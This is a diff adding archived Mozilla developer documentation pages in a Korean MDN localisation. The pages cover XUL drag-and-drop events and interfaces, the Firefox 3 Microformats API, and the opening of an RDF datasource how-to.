+<p>A user can start dragging by holding down the mouse button and moving the mouse. The drag stops when the user releases the mouse. Event handlers are called when the user starts and ends dragging, and at various points in-between.</p>
+<p>Mozilla implements dragging by using a drag session. When a user requests to drag something that can be dragged, a drag session should be started. The drag session handles updating the mouse cursor and where the object should be dropped. If something cannot be dragged, it should not start a drag session. Because the user generally has only one mouse, only one drag session is in use at a time.</p>
+<p>Note that drag sessions can be created from within Mozilla itself or from other applications. Mozilla will translate the data being dragged as needed.</p>
+<p>The list below describes the event handlers that can be called, which may be placed on any element. You only need to put values for the handlers where you need to do something when the event occurs.</p>
+<dl>
+ <dt>
+  ondrag </dt>
+ <dd>
+  Called periodically throughout the drag and drop operation.</dd>
+ <dt>
+  ondraggesture </dt>
+ <dd>
+  Called when the user starts dragging the element, which normally happens when the user holds down the mouse button and moves the mouse. The script in this handler should set up a drag session.</dd>
+ <dt>
+  ondragstart  </dt>
+ <dd>
+  An alias for <code>ondraggesture</code>; this is the HTML 5 spec name for the event and may be used in HTML or XUL; however, for backward compatibility with older versions of Firefox, you may wish to continue using <code>ondraggesture</code> in XUL.</dd>
+ <dt>
+  ondragover </dt>
+ <dd>
+  This event handler is called for an element when something is being dragged over top of it. If the object can be dropped on the element, the drag session should be notified.</dd>
+ <dt>
+  ondragenter </dt>
+ <dd>
+  Called for an element when the mouse pointer first moves over the element while something is being dragged. This might be used to change the appearance of the element to indicate to the user that the object can be dropped on it.</dd>
+ <dt>
+  ondragexit </dt>
+ <dd>
+  Called for an element when the mouse pointer moves out of an element while something is being dragged. The is also called after a drop is complete so that an element has a chance to remove any highlighting or other indication.</dd>
+ <dt>
+  ondragdrop </dt>
+ <dd>
+  This event handler is called for an element when something is dropped on the element. At this point, the user has already released the mouse button. The element can simply ignore the event or can handle it some way, such as pasting the dragged object into itself.</dd>
+ <dt>
+  ondragend  </dt>
+ <dd>
+  Called when the drag operation is finished.</dd>
+</dl>
+<p>There are two ways that drag and drop events can be handled. This first involves using the drag and drop <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a> interfaces directly. The second is to use a <a href="/en/Drag_and_Drop_JavaScript_Wrapper" title="en/Drag_and_Drop_JavaScript_Wrapper">JavaScript wrapper</a> object that handles some of this for you. The code for this wrapper can be found in a file named <code><a href="https://dxr.mozilla.org/mozilla-central/source/toolkit/content/nsDragAndDrop.js nsDragAndDrop.js" rel="custom">toolkit/content/nsDragAndDrop.js nsDragAndDrop.js</a></code> which is contained in the widget-toolkit (or global) package.</p>
+<h3 id="XPCOM_Drag_and_Drop_interfaces" name="XPCOM_Drag_and_Drop_interfaces">XPCOM Drag and Drop interfaces</h3>
+<p>Two interfaces are used to support drag and drop. The first is a drag service, <a href="/en/XPCOM_Interface_Reference/nsIDragService" title="en/nsIDragService">nsIDragService</a> and the second is the drag session, <a href="/en/XPCOM_Interface_Reference/nsIDragSession" title="en/nsIDragSession">nsIDragSession</a>.</p>
+<p>The <a href="/en/XPCOM_Interface_Reference/nsIDragService" title="en/nsIDragService">nsIDragService</a> is responsible for creating drag sessions when a drag starts, and removing the drag session when the drag is complete. The function <code>invokeDragSession</code> should be called to start a drag inside an <code>ondraggesture</code> event handler. Once this function is called, a drag has started.</p>
+<p>The function invokeDragSession takes four parameters, as described below:</p>
+<pre class="eval">invokeDragSession(element,transferableArray,region,actions)
+</pre>
+<dl>
+ <dt>
+  element </dt>
+ <dd>
+  A reference to the element that is being dragged. This can be retrieved by getting the property <code>event.target</code> during the event handler.</dd>
+ <dt>
+  transferableArray </dt>
+ <dd>
+  An array of <a href="/en/NsITransferable" title="en/NsITransferable">nsITransferable</a> objects, one for each item being dragged. An array is used because you might want to drag several objects at once, such as a set of files.</dd>
+ <dt>
+  region </dt>
+ <dd>
+  A region used for feedback indication. This should usually be set to null.</dd>
+ <dt>
+  actions </dt>
+ <dd>
+  The actions that the drag uses. This should be set to one of the following constants, or several added together. The action can be changed during the drag depending on what is being dragged over.</dd>
+</dl>
+<dl>
+ <dt>
+  nsIDragService.DRAGDROP_ACTION_NONE </dt>
+ <dd>
+  <dl>
+   <dt>
+    Used to indicate that no drag is valid.</dt>
+   <dt>
+    nsIDragService.DRAGDROP_ACTION_COPY </dt>
+   <dd>
+    The item being dragged should be copied to its dropped location.</dd>
+   <dt>
+    nsIDragService.DRAGDROP_ACTION_MOVE </dt>
+   <dd>
+    The item being dragged should be moved to its dropped location.</dd>
+   <dt>
+    nsIDragService.DRAGDROP_ACTION_LINK </dt>
+   <dd>
+    A link (or shortcut or alias) to the item being dragged should be created in the dropped location.</dd>
+  </dl>
+ </dd>
+</dl>
+<p>The interface <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDragService" title="">nsIDragService</a></code> also provides the function <code>getCurrentSession</code> which can be called from within the drag event handlers to get and modify the state of the drag. The function returns an object that implements <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDragSession" title="">nsIDragSession</a></code>.</p>
+<p>The interface <a href="/en/XPCOM_Interface_Reference/nsIDragSession" title="en/nsIDragSession">nsIDragSession</a> is used to get and set properties of the drag that is currently occuring. The following properties and methods are available:</p>
+<dl>
+ <dt>
+  canDrop </dt>
+ <dd>
+  Set this property to <code>true</code> if the element the mouse is currently over can accept the object currently being dragged to be dropped on it. Set the value to <code>false</code> if it doesn't make sense to drop the object on it. This should be changed in the <code>ondragover</code> and <code>ondragenter</code> event handlers.</dd>
+ <dt>
+  dragAction </dt>
+ <dd>
+  Set to the current action to be performed, which should be one or more of the constants described earlier. This can be used to provide extra feedback to the user.</dd>
+ <dt>
+  numDropItems </dt>
+ <dd>
+  The number of items being dragged. For example, this will be set to 5 if five bookmarks are being dragged.</dd>
+ <dt>
+  getData(transfer,index) </dt>
+ <dd>
+  Get the data being dragged. The first argument should be an <a href="/en/NsITransferable" title="en/NsITransferable">nsITransferable</a> object to hold the data. The second argument, <code>index</code>, should be the index of the item to return.</dd>
+ <dt>
+  sourceDocument </dt>
+ <dd>
+  The document where the drag started.</dd>
+ <dt>
+  sourceNode </dt>
+ <dd>
+  The <a href="/en/DOM" title="en/DOM">DOM</a> node where the drag started.</dd>
+ <dt>
+  isDataFlavorSupported(flavor) </dt>
+ <dd>
+  Returns <code>true</code> if the data being dragged contains data of the specified flavor.</dd>
+</dl>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/Drag_and_Drop_JavaScript_Wrapper">다음  »</a></p>
+</div><p></p>
+<div class="originaldocinfo">
+ <h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+ <ul>
+  <li>Author(s): <a class="link-mailto" href="mailto:enndeakin@sympatico.ca">Neil Deakin</a></li>
+  <li>Original Document:</li>
+  <li>Copyright Information: Copyright (C) <a class="link-mailto" href="mailto:enndeakin@sympatico.ca">Neil Deakin</a></li>
+ </ul>
+</div>
diff --git a/files/ko/archive/mozilla/firefox/index.html b/files/ko/archive/mozilla/firefox/index.html
new file mode 100644
index 0000000000..9e61c718ff
--- /dev/null
+++ b/files/ko/archive/mozilla/firefox/index.html
@@ -0,0 +1,8 @@
+---
+title: Firefox
+slug: Archive/Mozilla/Firefox
+translation_of: Archive/Mozilla/Firefox
+---
+<p>In progress. Out-of-date information about the Firefox project.</p>
+
+<p></p>
diff --git a/files/ko/archive/mozilla/firefox/using_microformats/index.html b/files/ko/archive/mozilla/firefox/using_microformats/index.html
new file mode 100644
index 0000000000..b7fcdf224f
--- /dev/null
+++ b/files/ko/archive/mozilla/firefox/using_microformats/index.html
@@ -0,0 +1,144 @@
+---
+title: Using microformats
+slug: Archive/Mozilla/Firefox/Using_microformats
+tags:
+  - Firefox 3
+  - Microformats
+translation_of: Archive/Mozilla/Firefox/Using_microformats
+---
+<p>{{ Fx_minversion_header(3) }}
+</p><p>마이크로포맷(Microformats)을 이용하면 문서 자체를 분석하는 방법을 알아야 할 필요없이 페이지의 정보에 대한 요약을 표시할 수 있도록 웹 사이트가 의미 데이터(semantic data)를 브라우저에 제공할 수 있습니다. Firefox 3는 마이크로포맷에 대한 접근을 제공하는 전역 <code>Microformats</code> 개체를 구현합니다. 이 개체와 API를 이용하면 마이크로포맷을 쉽게 찾고 읽을 수 있습니다.
+</p>
+<h2 id=".EB.A7.88.EC.9D.B4.ED.81.AC.EB.A1.9C.ED.8F.AC.EB.A7.B7_API_.EB.A1.9C.EB.93.9C.ED.95.98.EA.B8.B0" name=".EB.A7.88.EC.9D.B4.ED.81.AC.EB.A1.9C.ED.8F.AC.EB.A7.B7_API_.EB.A1.9C.EB.93.9C.ED.95.98.EA.B8.B0">마이크로포맷 API 로드하기</h2>
+<p><code>Microformats</code> 개체는 Firefox 3에 추가된 새로운 자바스크립트 로더를 이용하여 생성합니다. API를 사용하려면 먼저 개체를 로드해야 합니다:
+</p>
+<pre class="eval"><span class="nowiki">Components.utils.import("resource://gre/modules/Microformats.js");</span>
+</pre>
+<p>마이크로포맷 API를 로드하고 나면 아래에 나열한 메소드를 이용하여 마이크로포맷을 다룰 수 있습니다. 마이크로포맷을 파싱하는 방법에 대한 정보는 <a href="ko/Parsing_microformats_in_JavaScript">Parsing microformats in JavaScript</a>를 참고하십시오.
+</p>
+<h2 id=".EB.AF.B8.EB.A6.AC_.EC.A0.95.EC.9D.98.EB.90.9C_.EB.A7.88.EC.9D.B4.ED.81.AC.EB.A1.9C.ED.8F.AC.EB.A7.B7" name=".EB.AF.B8.EB.A6.AC_.EC.A0.95.EC.9D.98.EB.90.9C_.EB.A7.88.EC.9D.B4.ED.81.AC.EB.A1.9C.ED.8F.AC.EB.A7.B7">미리 정의된 마이크로포맷</h2>
+<p>Firefox 3는 몇 가지 일반적인 마이크로포맷을 구현한 정의를 제공합니다.
+</p>
+<dl><dt><code><a href="ko/The_adr_microformat">adr</a></code>
+</dt><dd>주소를 표시합니다.
+</dd><dt><code><a href="ko/The_geo_microformat">geo</a></code>
+</dt><dd>위도와 경도를 이용한 지리적 위치를 표시합니다.
+</dd><dt><code><a href="ko/The_hCard_microformat">hCard</a></code>
+</dt><dd>사람에 대한 연락 정보를 표시합니다.
+</dd><dt><code><a href="ko/The_hCalendar_microformat">hCalendar</a></code>
+</dt><dd>달력의 일정 항목을 표시합니다.
+</dd><dt><code><a href="ko/The_tag_microformat">tag</a></code>
+</dt><dd>다른 마이크로포맷에 태그를 추가하는데 사용합니다.
+</dd></dl>
+<h2 id=".EB.A9.94.EC.86.8C.EB.93.9C" name=".EB.A9.94.EC.86.8C.EB.93.9C">메소드</h2>
+<h3 id="add.28.29" name="add.28.29">add()</h3>
+<p>마이크로포맷 모듈에 새로운 마이크로포맷을 추가합니다.
+</p><p>{{ Note("지정한 이름을 가진 마이크로포맷이 이미 존재하면 새로운 것으로 바뀝니다.") }}
+</p>
+<pre class="eval">add(name, definition);
+</pre>
+<h6 id=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98" name=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98">매개변수</h6>
+<dl><dt>&lt;tt&gt;name&lt;/tt&gt;
+</dt><dd>마이크로포맷 모듈에 추가하려는 마이크로포맷의 이름.
+</dd><dt>&lt;tt&gt;definition&lt;/tt&gt;
+</dt><dd>마이크로포맷을 기술하는 자바스크립트 구조. 자세한 사항은 <a href="ko/Describing_microformats_in_JavaScript">Describing microformats in JavaScript</a>를 참고.
+</dd></dl>
+<h3 id="count.28.29" name="count.28.29">count()</h3>
+<p>지정한 조건을 만족하는 문서에 있는 마이크로포맷의 개수를 구합니다.
+</p>
+<pre class="eval">numMicroformats = Microformats.count(name, rootElement, recurseFrames);
+</pre>
+<h6 id=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98_2" name=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98_2">매개변수</h6>
+<dl><dt>&lt;tt&gt;name&lt;/tt&gt;
+</dt><dd>검색하려는 마이크로포맷의 이름
+</dd><dt>&lt;tt&gt;rootElement&lt;/tt&gt;
+</dt><dd>검색을 시작할 DOM 요소. 전체 문서에서 검색하려면 <code>content.document</code>를 명시해야 합니다.
+</dd><dt>&lt;tt&gt;options&lt;/tt&gt;
+</dt><dd>선택사항. 아래 플래그를 포함하는 자바스크립트 개체:
+</dd></dl>
+<blockquote>
+<dl><dt>&lt;tt&gt;recurseExternalFrames&lt;/tt&gt;
+</dt><dd><code>true</code>이면 자식 프레임을 검색에 포함. 기본 값은 <code>true</code>.
+</dd><dt>&lt;tt&gt;showHidden&lt;/tt&gt;
+</dt><dd><code>true</code>이면 숨겨진 마이크로포맷을 추가하고 그렇지 않으면 생략. 기본 값은 <code>false</code>.
+</dd><dt>&lt;tt&gt;debug&lt;/tt&gt;
+</dt><dd>디버그 모드를 사용하려면 <code>true</code>로 지정하고 그렇지 않으면 <code>false</code>로 지정. 기본 값은 <code>false</code>.</dd></dl></blockquote> <h6 id=".EB.B0.98.ED.99.98_.EA.B0.92" name=".EB.B0.98.ED.99.98_.EA.B0.92">반환 값</h6>
+<p>지정한 조건을 만족하는 마이크로포맷 개수를 가리키는 정수 값.
+</p>
+<h3 id="debug.28.29" name="debug.28.29">debug()</h3>
+<p>마이크로포맷 개체를 설명하는 문자열을 반환합니다.
+</p><p>{{ Note("마이크로포맷 개체에 대해 <code>debug()</code>를 호출할 수 있습니다: 이 메소드 대신 <code>microformatObject.debug()</code>를 이용할 수도 있습니다.") }}
+</p>
+<pre class="eval">dumpString = debug(microformatObject)
+</pre>
+<h6 id=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98_3" name=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98_3">매개변수</h6>
+<dl><dt>&lt;tt&gt;microformatObject&lt;/tt&gt;
+</dt><dd>정보를 표시할 마이크로포맷 개체.
+</dd></dl>
+<h6 id=".EB.B0.98.ED.99.98_.EA.B0.92_2" name=".EB.B0.98.ED.99.98_.EA.B0.92_2">반환 값</h6>
+<p>지정한 마이크로포맷 개체의 내용을 설명하는 문자열.
+</p>
+<h3 id="get.28.29" name="get.28.29">get()</h3>
+<p>지정한 조건에 따라 검색한 마이크로포맷에 해당하는 마이크로포맷 개체의 배열을 반환합니다.
+</p>
+<pre class="eval">microformatsArray = Microformats.get(name, rootElement, options, targetArray);
+</pre>
+<h6 id=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98_4" name=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98_4">매개변수</h6>
+<dl><dt>&lt;tt&gt;name&lt;/tt&gt;
+</dt><dd>검색하려는 마이크로포맷의 이름
+</dd><dt>&lt;tt&gt;rootElement&lt;/tt&gt;
+</dt><dd>검색을 시작할 DOM 요소. 전체 문서에서 검색하려면 <code>content.document</code>를 명시해야 합니다.
+</dd><dt>&lt;tt&gt;options&lt;/tt&gt;
+</dt><dd>선택사항. 아래 플래그를 포함하는 자바스크립트 개체:
+</dd></dl>
+<blockquote>
+<dl><dt>&lt;tt&gt;recurseExternalFrames&lt;/tt&gt;
+</dt><dd><code>true</code>이면 자식 프레임을 검색에 포함. 기본 값은 <code>true</code>.
+</dd><dt>&lt;tt&gt;showHidden&lt;/tt&gt;
+</dt><dd><code>true</code>이면 숨겨진 마이크로포맷을 추가하고 그렇지 않으면 생략. 기본 값은 <code>false</code>.
+</dd><dt>&lt;tt&gt;debug&lt;/tt&gt;
+</dt><dd>디버그 모드를 사용하려면 <code>true</code>로 지정하고 그렇지 않으면 <code>false</code>로 지정. 기본 값은 <code>false</code>.</dd></dl></blockquote> <dl><dt>&lt;tt&gt;targetArray&lt;/tt&gt;
+</dt><dd>선택사항. 검색 결과를 추가할 마이크로포맷 개체의 배열.
+</dd></dl> <h6 id=".EB.B0.98.ED.99.98_.EA.B0.92_3" name=".EB.B0.98.ED.99.98_.EA.B0.92_3">반환 값</h6>
+<p>검색 조건을 만족하는 마이크로포맷 개체의 새로운 배열, 혹은 발견한 마이크로포맷 개체를 추가한 &lt;tt&gt;microformats&lt;/tt&gt;에서 지정한 배열.
+</p>
+<h3 id="getNamesFromNode.28.29" name="getNamesFromNode.28.29">getNamesFromNode()</h3>
+<p>지정한 마이크로포맷 노드에 해당하는 공백으로 구별되는 마이크로포맷 이름의 목록을 반환합니다.
+</p>
+<pre class="eval">nameList = Microformats.getNamesFromNode(node);
+</pre>
+<h6 id=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98_5" name=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98_5">매개변수</h6>
+<dl><dt>&lt;tt&gt;node&lt;/tt&gt;
+</dt><dd>마이크로포맷 이름 목록을 구할 노드
+</dd></dl>
+<h6 id="Return_value" name="Return_value">Return value</h6>
+<p>지정한 노드가 마이크로포맷인 경우 노드에 해당하는 모든 마이크로포맷의 이름을 공백으로 구별하여 나열하는 문자열. 해당 노드가 마이크로포맷이 아닌 경우에는 아무것도 반환하지 않음.
+</p>
+<h3 id="getParent.28.29" name="getParent.28.29">getParent()</h3>
+<p>지정한 마이크로포맷이나 마이크로포맷 자식의 부모 노드를 반환합니다.
+</p>
+<pre class="eval">parentNode = Microformats.getParent(node);
+</pre>
+<h6 id=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98_6" name=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98_6">매개변수</h6>
+<dl><dt>&lt;tt&gt;node&lt;/tt&gt;
+</dt><dd>부모 노드를 구할 노드
+</dd></dl>
+<h6 id=".EB.B0.98.ED.99.98_.EA.B0.92_4" name=".EB.B0.98.ED.99.98_.EA.B0.92_4">반환 값</h6>
+<p>지정한 노드의 부모. 지정한 노드가 마이크로포맷이 아니거나 마이크로포맷의 자식이 아닌 경우에는 아무것도 반환하지 않음.
+</p>
+<h3 id="isMicroformat.28.29" name="isMicroformat.28.29">isMicroformat()</h3>
+<p>지정한 DOM 노드가 마이크로포맷인지 구별합니다.
+</p>
+<pre class="eval">flag = Microformats.isMicroformat(node);
+</pre>
+<h6 id=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98_7" name=".EB.A7.A4.EA.B0.9C.EB.B3.80.EC.88.98_7">매개변수</h6>
+<dl><dt>&lt;tt&gt;node&lt;/tt&gt;
+</dt><dd>마이크로포맷 여부를 확인할 DOM 노드.
+</dd></dl>
+<h6 id=".EB.B0.98.ED.99.98_.EA.B0.92_5" name=".EB.B0.98.ED.99.98_.EA.B0.92_5">반환 값</h6>
+<p>노드가 마이크로포맷이면 <code>true</code>, 그렇지 않으면 <code>false</code>.
+</p><p>{{ Note("만약 노드가 마이크로포맷의 자식이면 이 메소드는 <code>true</code>를 반환하지 <i>않습니다</i>.") }}
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Using_microformats", "fr": "fr/Utilisation_de_microformats", "ja": "ja/Using_microformats", "pl": "pl/Zastosowanie_mikroformat\u00f3w" } ) }}
diff --git a/files/ko/archive/mozilla/index.html b/files/ko/archive/mozilla/index.html
new file mode 100644
index 0000000000..c6ccfa68f2
--- /dev/null
+++ b/files/ko/archive/mozilla/index.html
@@ -0,0 +1,10 @@
+---
+title: Archived Mozilla and build documentation
+slug: Archive/Mozilla
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Mozilla
+---
+<p>These articles are archived, obsolete documents about Mozilla, Gecko, and the process of building Mozilla projects.</p>
+<p></p><dl><dt class="landingPageList"><a href="/ko/docs/Archive/Mozilla/Drag_and_drop">Drag and Drop</a></dt><dd class="landingPageList">This section describes how to implement objects that can be dragged around and dropped onto other objects.</dd><dt class="landingPageList"><a href="/ko/docs/XPInstall">XPInstall</a></dt><dd class="landingPageList"><span class="comment">Categories</span></dd></dl><p></p>
diff --git a/files/ko/archive/mozilla/rdf_datasource_how-to/index.html b/files/ko/archive/mozilla/rdf_datasource_how-to/index.html
new file mode 100644
index 0000000000..96509ff68a
--- /dev/null
+++ b/files/ko/archive/mozilla/rdf_datasource_how-to/index.html
@@ -0,0 +1,224 @@
+---
+title: RDF Datasource How-To
+slug: Archive/Mozilla/RDF_Datasource_How-To
+tags:
+  - RDF
+translation_of: Archive/Mozilla/RDF_Datasource_How-To
+---
+<div class="warning">
+ <p>이 문서는 최신의 정보를 포함하지 않을 수 있습니다. 가능하면 이 문서가 최신 정보로 유지될 수 있도록 도와주시기 바랍니다. <span class="comment">XPCOM 등록(registration) 부분과 "As of this writing, it is not currently possible to implement JavaScript XPCOM components" 부분이 최신 정보와 다른 것 같습니다. 전체 문서를 다 체크해 보지는 않았습니다.</span></p>
+</div>
+<p>이 문서는 Mozilla 의 <a href="ko/RDF">RDF</a> 구현과 함께 동작하는
+ <i>
+  고유한(native), 클라이언트 측 데이터 소스</i>
+ 를 생성하는 방법을 설명하는 cookbook 문서입니다. 이 문서는 <a class="link-mailto" href="mailto:rjc@netscape.com">Robert Churchill</a> 이 작성한 <a class="external" href="http://www.mozilla.org/rdf/doc/rdfdatasources.html">원본 문서</a>를 대체하며 많은 부분은 원본 문서에서 가져온 것입니다.</p>
+<h3 id=".EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EB.9E.80_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.3F" name=".EB.8D.B0.EC.9D.B4.ED.84.B0_.EC.86.8C.EC.8A.A4.EB.9E.80_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.3F">데이터 소스란 무엇인가?</h3>
+<p>"RDF의 세계"는 인터넷
+ <i>
+  자원</i>
+ 들을 설명하는
+ <i>
+  문장</i>
+ (statement)으로 이루어진다. 예를 들어, "내 홈페이지의 최종 변경일은 4월 2일이다" 라던가 "이 뉴스 기사는 밥(Bob)이 보내온 것이다" 등이 있을 것이다. 가장 추상적인 단계에서 볼 때,
+ <i>
+  데이터 소스</i>
+ 는 이러한 문장들의 모임(collection)이다.</p>
+<p>더 자세히 살펴보면, 데이터 소스는 어떤 정보를 RDF 문장의 모임으로
+ <i>
+  변환</i>
+ 하는 역할을 한다. 예를 들어, "파일 시스템 데이터 소스"라면 파일 시스템 정보를 다음과 같은 문장들로 변환할 것이다: "/tmp 는 디렉토리이다", "/tmp/foo 는 /tmp 안에 포함되어 있다". "IMAP 데이터 소스"라면 IMAP 프로토콜을 이용하여 당신의 메일함에 있는 데이터를 다음과 같은 문장으로 변환할 것이다: "126번 메시지의 제목은 '인터넷으로 쉽게 돈벌기'이다", "126번 메시지를 보낸 사람은 <a class="link-mailto" href="mailto:'spammer128@hotmail.com'이다" rel="freelink">'spammer128@hotmail.com'이다</a>". "주소록 데이터 소스"라면 데이터베이스 파일을 다음과 같은 문장으로 변환할 것이다: "<a class="link-mailto" href="mailto:spammer128@hotmail.com의" rel="freelink">spammer128@hotmail.com의</a> 실제 이름은 'Billy Dumple'이다", "<a class="link-mailto" href="mailto:spammer128@hotmail.com은" rel="freelink">spammer128@hotmail.com은</a> '중요한 친구'이다".</p>
+<p>한 데이터 소스 내에 존재하는 문장은
+ <i>
+  composite datasource</i>
+ 를 사용해서 다른 데이터 소스에 있는 문장과 결합(combine)될 수 있다. IMAP 데이터 소스와 주소록 데이터 소스를 결합하면, 위의 예제에서 "126번 메시지"를 보낸 사람은 "중요한 친구"라는 것을 알 수 있다.</p>
+<h3 id=".EC.96.B4.ED.9C.98_.EC.84.A0.ED.83.9D.ED.95.98.EA.B8.B0" name=".EC.96.B4.ED.9C.98_.EC.84.A0.ED.83.9D.ED.95.98.EA.B8.B0">어휘 선택하기</h3>
+<p>
+ <i>
+  어휘</i>
+ (vocabulary)는 데이터 모델 내에서 원소(자원이나 문자열)들간의 관계를 표현하기 위해 사용하는 속성들의 집합입니다. 제일 먼저 생각해야 할 것은 '기존의 어휘를 사용해야 할지? 아니면 새로운 어휘를 만들어야 할지?'에 대한 것입니다.
+ <i>
+  반드시</i>
+ 새로운 어휘를 만들어야 필요가 있는 경우가 아니라면 당연히 기존의 어휘를 쓰는 것이 좋습니다. 그러면 당신이 만든 데이터 소스를 손쉽게 다른 데이터 소스와 통합할 수 있게 됩니다.</p>
+<p>이미 만들어진 다음과 같은 여러 종류의 어휘들이 있습니다.</p>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/PR-rdf-schema/">RDF 스키마(Schema) 명세</a>. 이 어휘는 다른 어휘들을 설명하기 위한 "메타 어휘(meta vocabulary)"입니다.</li>
+ <li><a class="external" href="http://purl.oclc.org/dc/">더블린 코어(The Dublin Core)</a>. 이 어휘는 웹 상의 자원(electronic resouces)들을 설명하기 위해 사용되는 어휘입니다. 여기에는 작성자, 주제, 공개일(출판일) 등의 원소가 포함됩니다.</li>
+</ul>
+<h3 id=".EB.8D.B0.EC.9D.B4.ED.84.B0.EB.A5.BC_.EB.85.B8.EB.93.9C.EC.99.80_.EC.95.84.ED.81.AC.28arc.29.EB.A1.9C_.EB.A7.A4.ED.95.91.ED.95.98.EA.B8.B0" name=".EB.8D.B0.EC.9D.B4.ED.84.B0.EB.A5.BC_.EB.85.B8.EB.93.9C.EC.99.80_.EC.95.84.ED.81.AC.28arc.29.EB.A1.9C_.EB.A7.A4.ED.95.91.ED.95.98.EA.B8.B0">데이터를 노드와 아크(arc)로 매핑하기</h3>
+<p><b>{{ mediawiki.external('write me!') }}</b></p>
+<h3 id="nsIRDFDataSource_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4_.EA.B5.AC.ED.98.84.ED.95.98.EA.B8.B0" name="nsIRDFDataSource_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4_.EA.B5.AC.ED.98.84.ED.95.98.EA.B8.B0">&lt;tt&gt;nsIRDFDataSource&lt;/tt&gt; 인터페이스 구현하기</h3>
+<p>가장 먼저 해야할 일은 &lt;tt&gt;<a class="external" href="http://lxr.mozilla.org/seamonkey/source/rdf/base/idl/nsIRDFDataSource.idl">nsIRDFDataSource</a>&lt;/tt&gt; 인터페이스를 구현하는 일입니다. 이를 위한 두 가지 기본적인 방법이 있습니다:</p>
+<ol>
+ <li>
+  <p>
+   <i>
+    내부 프록시(inner proxy)에 위임(delegate)하기</i>
+   . 예를 들면, &lt;tt&gt;nsIRDFDataSource&lt;/tt&gt; 인터페이스를 구현한 일반적인 데이터 소스인
+   <i>
+    메모리 상의 데이터 소스(in-memory datasource)</i>
+   에 위임할 수 있습니다.</p>
+  <p>일반적으로, 해당 저장 장치(즉, 데이터 파일)를 위한 구문 분석기(parser)를 제공해야 합니다. 구문 분석기는 데이터 파일을 메모리 상의 데이터 소스로 구성하기 위한 일련의 &lt;tt&gt;Assert()&lt;/tt&gt; 문으로 변환합니다. &lt;tt&gt;Flush()&lt;/tt&gt; 문이 호출되거나, 데이터 소스에 대한 마지막 참조가 해제되는 경우에는 메모리 상의 데이터 소스를 순환하여 그래프(데이터)를 원래의 파일 형식으로 다시 저장합니다(re-serialize). 아래의 예제를 살펴보기 바랍니다. <a class="external" href="http://lxr.mozilla.org/seamonkey/source/rdf/base/src/nsRDFXMLDataSource.cpp">RDF/XML 데이터 소스</a> 혹은 <a class="external" href="http://lxr.mozilla.org/seamonkey/source/xpfe/components/bookmarks/src/nsBookmarksService.cpp">북마크 데이터 소스</a>.</p>
+  <p>기존의 데이터들을 "래핑"(wrapping)하기 위한 목적이라면 이 구현 방식을 선택하면 됩니다. 이 구현은 기존의 데이터 저장 공간이 다른 에이전트들에 의해 "동적으로"(on-the-fly) 변경되고 있다면 문제를 일으킬 수도 있습니다.</p>
+ </li>
+ <li>
+  <p>
+   <i>
+    메모리 상의 데이터 소스를 모으기(aggregate)</i>
+   . 이 방법은 위임의 극단적인 경우로서, XPCOM
+   <i>
+    모음</i>
+   (aggregation)을 이용하여 &lt;tt&gt;nsIRDFDataSource&lt;/tt&gt; 인터페이스를 구현하는 것입니다. 기술적인 자세한 사항은 <a href="ko/Aggregating_the_In-Memory_Datasource">메모리 상의 데이터 소스 모으기</a> 문서를 참고하기 바랍니다.</p>
+  <p>이 방법은 선택한다면, &lt;tt&gt;nsIRDFDataSource&lt;/tt&gt; 인터페이스의 메소드들을 선택적으로 구현할 수 없으며, 대신
+   <i>
+    모든</i>
+   메소드들은 메모리 상의 데이터 소스로 보내져야 합니다(forwarding). 이것은 당신이 가진 데이터 소스들이 "읽기 전용"인 경우에 유용하며 &lt;tt&gt;Assert()&lt;/tt&gt; 등의 메소드를 이용한 데이터의 변경에 대한 걱정이 필요없게 됩니다.</p>
+ </li>
+ <li>
+  <p>
+   <i>
+    직접 인터페이스를 구현하기</i>
+   . 이 방법을 선택한다면, &lt;tt&gt;nsIRDFDataStore&lt;/tt&gt; 인터페이스의 모든 메소드들을 "직접" 구현해야 합니다. 비록 이 방법에는 더 많은 작업이 요구되지만, 이것은 다른 외부 에이전트들에 의해 변경될 수 있는 "라이브"(live) 데이터 소스를 생성하기 위한 유일한 방법입니다.</p>
+  <p><a class="external" href="http://lxr.mozilla.org/seamonkey/source/rdf/datasource/src/nsFileSystemDataSource.cpp">파일 시스템 데이터 소스</a>와 <a class="external" href="http://lxr.mozilla.org/seamonkey/source/mailnews/local/src/nsMSGFolderDataSource.cpp">로컬 메일 데이터 소스</a> 는 이 방법을 이용해 구현된 좋은 예제입니다.</p>
+  <p>만약 당신의 데이터 소스가 "라이브" 데이터 소스 - 새로운 메일이 도착하는 것과 같이 외부 에이전트에 의해 데이터가 변경될 수 있는 데이터 소스 - 라면 이 방법을 선택해야 합니다. 또한 데이터 소스가 (전체 파일 시스템 구조와 같이) 아주 크고 많은 데이터를 위해 모델링된 경우에도 이 방법을 선택해야 합니다.</p>
+ </li>
+</ol>
+<p><b>{{ mediawiki.external('각 방법들에 필요한 더 많은 정보가 제공되어야 함') }}</b></p>
